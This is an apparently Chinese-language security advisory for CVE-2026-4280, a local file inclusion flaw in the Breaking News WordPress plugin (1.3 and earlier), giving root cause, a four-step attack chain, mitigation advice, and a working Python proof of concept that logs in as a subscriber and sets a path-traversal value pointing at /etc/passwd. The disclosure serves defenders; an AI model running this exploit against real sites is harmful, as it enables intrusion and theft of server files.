IPBUF安全漏洞报告
English
CVE-2026-4280 CVSS 6.5 中危

CVE-2026-4280: Breaking News插件本地文件包含漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-4280
漏洞类型
本地文件包含
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Breaking News WP Plugin

相关标签

LFIWordPressPath TraversalAuthenticatedBreaking News WP

漏洞概述

WordPress Breaking News插件在1.3及更早版本中存在严重的本地文件包含漏洞。由于相关AJAX端点缺乏授权验证机制,且对用户输入的路径过滤不足,低权限攻击者可利用目录遍历技术修改插件配置。当页面加载短代码时,将导致服务器上的任意文件被包含执行,从而引发敏感数据泄露风险。

技术细节

该漏洞源于WordPress Breaking News插件中的`brnwp_show_breaking_news_wp()`短代码处理函数及其关联的AJAX端点。具体而言,`brnwp_ajax_form`端点缺乏必要的授权检查和CSRF令牌验证,导致最低权限的订阅者级别账户亦可访问。此外,在处理`brnwp_theme`选项值时,虽然应用了`sanitize_text_field()`函数进行过滤,但该函数并未移除`../`等目录遍历字符序列。攻击者可利用此缺陷,通过AJAX请求将`brnwp_theme`选项覆盖为包含路径遍历的恶意载荷(例如`../../../../../etc/passwd`)。一旦管理员或系统渲染相关短代码,被篡改的选项值将直接传递给`include()`函数执行,从而触发本地文件包含漏洞,造成服务器敏感文件泄露。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者注册或获取一个具有订阅者(Subscriber)级别及以上权限的WordPress账户。
STEP 2
步骤2:发送恶意请求
攻击者利用该账户向`brnwp_ajax_form` AJAX端点发送POST请求,请求中包含目录遍历载荷(如`../../../../../etc/passwd`),旨在覆盖`brnwp_theme`选项。
STEP 3
步骤3:保存恶意配置
服务器由于缺乏权限验证和路径过滤,将恶意路径值保存到数据库的`brnwp_theme`选项中。
STEP 4
步骤4:触发漏洞
当管理员或用户访问包含`breaking-news-wp`短代码的页面时,插件调用`include()`函数加载`brnwp_theme`指定的文件,执行本地文件包含攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target = "http://target-wordpress.com" username = "subscriber" password = "password" login_url = f"{target}/wp-login.php" ajax_url = f"{target}/wp-admin/admin-ajax.php" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() login_data = { "log": username, "pwd": password, "redirect_to": f"{target}/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=login_data) # 2. Exploit: Update brnwp_theme option via vulnerable AJAX endpoint # The payload attempts to include /etc/passwd using path traversal payload_data = { "action": "brnwp_ajax_form", "brnwp_theme": "../../../../../etc/passwd" # Path traversal payload } response = session.post(ajax_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully. Option updated.") print("[+] The vulnerability will be triggered when the shortcode is rendered.") else: print("[-] Failed to send payload.")

影响范围

Breaking News WP <= 1.3

防御指南

临时缓解措施
建议立即将插件升级至最新版本以修复此漏洞。若无法立即升级,应暂时禁用该插件,并仅允许管理员用户访问WordPress后台,同时检查服务器日志以排查是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表